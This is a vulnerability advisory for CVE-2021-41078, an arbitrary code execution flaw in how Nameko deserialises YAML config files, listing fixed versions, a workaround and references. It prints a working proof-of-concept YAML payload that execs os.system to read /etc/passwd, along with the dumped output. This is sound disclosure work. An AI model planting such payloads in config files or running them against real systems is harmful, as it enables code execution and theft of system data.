CVE-2021-41078
Nameko Arbitrary code execution due to YAML deserialization
Impact
### Impact Nameko can be tricked to perform arbitrary code execution when deserialising a YAML config file. Example: ``` yaml # malicious.yaml !!python/object/new:type args: ['z', !!python/tuple [], {'extend': !!python/name:exec }] listitems: "__import__('os').system('cat /etc/passwd')" ``` ``` shell $ nameko run --config malicious.yaml test root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin ... ``` ### Patches The problem was fixed in https://github.com/nameko/nameko/pull/722 and released in version 2.14.0, and in rc10 of the v3 pre-release. Versions prior to 2.14.0, and v3.0.0rc0 through v3.0.0rc9 are still vulnerable. ### Workarounds The vulnerability is exploited by config files with malicious content. It can be avoided by only using config files that you trust.
Affected packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| pip | nameko | < 2.14.0 | 2.14.0 |
Affected products
| Vendor | Product | Affected versions |
|---|---|---|
| Nameko | Nameko | through 2.13.0 Version 3.0.0 |
Weakness classification
References
- NVD record
- CVE.org record
- GitHub advisory
- https://github.com/nameko/nameko
- https://github.com/nameko/nameko/security/advisories/GHSA-6p52-jr3q-c94g
- https://github.com/advisories/GHSA-6p52-jr3q-c94g
- https://github.com/nameko/nameko/releases/tag/v2.14.0
- https://github.com/nameko/nameko/releases/tag/v3.0.0-rc10
- https://nvd.nist.gov/vuln/detail/CVE-2021-41078
- https://github.com/pypa/advisory-database/tree/main/vulns/nameko/PYSEC-2021-383.yaml